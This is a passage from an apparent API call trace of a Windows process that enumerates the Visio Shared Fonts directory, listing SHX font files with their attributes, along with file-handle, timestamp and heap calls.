lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459c38 [0055.419] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.419] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0055.419] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 0 [0055.419] GetLastError () returned 0x12 [0055.419] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459cf8 [0055.419] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.419] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.419] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0055.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeef160 [0055.419] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf04610 [0055.419] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.419] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0055.420] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf05cb0 [0055.420] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf05cb0, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf05cb0, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.420] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf05cb0) returned 1 [0055.420] NtClose (Handle=0x170) returned 0x0 [0055.420] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf04610) returned 1 [0055.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0055.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf04610 [0055.420] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf04718 [0055.420] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0055.422] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.422] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x4f2ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIGFONT.SHX", cAlternateFileName="")) returned 1 [0055.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.422] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.422] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf04820 [0055.422] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0055.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf04dc0 [0055.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf04928 [0055.422] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.422] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81c076e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xa261d, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHINESET.SHX", cAlternateFileName="")) returned 1 [0055.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.422] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.422] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf04de0 [0055.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf01590 [0055.423] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.423] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81eb4fa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x6a9e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXTFONT.SHX", cAlternateFileName="")) returned 1 [0055.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.423] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.423] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf04e00 [0055.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf01488 [0055.423] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.423] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8207e020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdc6b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBCBIG.SHX", cAlternateFileName="")) returned 1 [0055.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.423] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.423] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf04e20 [0055.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0055.424] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.424] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2656900, ftCreationTime.dwHighDateTime=0x1c2706c, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2656900, ftLastWriteTime.dwHighDateTime=0x1c2706c, nFileSizeHigh=0x0, nFileSizeLow=0x2b01, dwReserved0=0x0, dwReserved1=0x0, cFileName="IC-TXT.SHX", cAlternateFileName="")) returned 1 [0055.424] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.424] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.424] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.424] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.424] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.424] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf04e40 [0055.424] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf05cc8 [0055.424] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x9c0) returned 0xef8cd8 [0055.424] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf05328) returned 1 [0055.424] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.424] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8f60300, ftCreationTime.dwHighDateTime=0x1c324cc, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc8f60300, ftLastWriteTime.dwHighDateTime=0x1c324cc, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICAD.FMP", cAlternateFileName="")) returned 1 [0055.424] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.424] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.424] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.424] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.424] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.424] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf04e60 [0055.424] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf05dd0 [0055.424] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.424] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x369d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHGDTXT.SHX", cAlternateFileName="")) returned 1 [0055.424] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.425] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.425] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf04e80 [0055.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf05ed8 [0055.425] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.425] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x2fde5, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHGTXT.SHX", cAlternateFileName="")) returned 1 [0055.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.425] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.425] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf04ea0 [0055.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf05fe0 [0055.425] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.425] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x9e413, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTGTXT.SHX", cAlternateFileName="")) returned 1 [0055.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.425] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.425] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf04ec0 [0055.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf060e8 [0055.426] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.426] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTMTXT.SHX", cAlternateFileName="")) returned 1 [0055.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.426] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.426] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf04ee0 [0055.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf061f0 [0055.426] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.426] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTMTXT.SHX", cAlternateFileName="")) returned 0 [0055.426] GetLastError () returned 0x12 [0055.426] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c78 [0055.426] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.426] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.426] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x4f2ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIGFONT.SHX", cAlternateFileName="")) returned 1 [0055.426] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81c076e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xa261d, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHINESET.SHX", cAlternateFileName="")) returned 1 [0055.426] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81eb4fa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x6a9e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXTFONT.SHX", cAlternateFileName="")) returned 1 [0055.426] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8207e020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdc6b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBCBIG.SHX", cAlternateFileName="")) returned 1 [0055.426] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2656900, ftCreationTime.dwHighDateTime=0x1c2706c, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2656900, ftLastWriteTime.dwHighDateTime=0x1c2706c, nFileSizeHigh=0x0, nFileSizeLow=0x2b01, dwReserved0=0x0, dwReserved1=0x0, cFileName="IC-TXT.SHX", cAlternateFileName="")) returned 1 [0055.427] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8f60300, ftCreationTime.dwHighDateTime=0x1c324cc, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc8f60300, ftLastWriteTime.dwHighDateTime=0x1c324cc, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICAD.FMP", cAlternateFileName="")) returned 1 [0055.427] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x369d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHGDTXT.SHX", cAlternateFileName="")) returned 1 [0055.427] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x2fde5, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHGTXT.SHX", cAlternateFileName="")) returned 1 [0055.427] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, 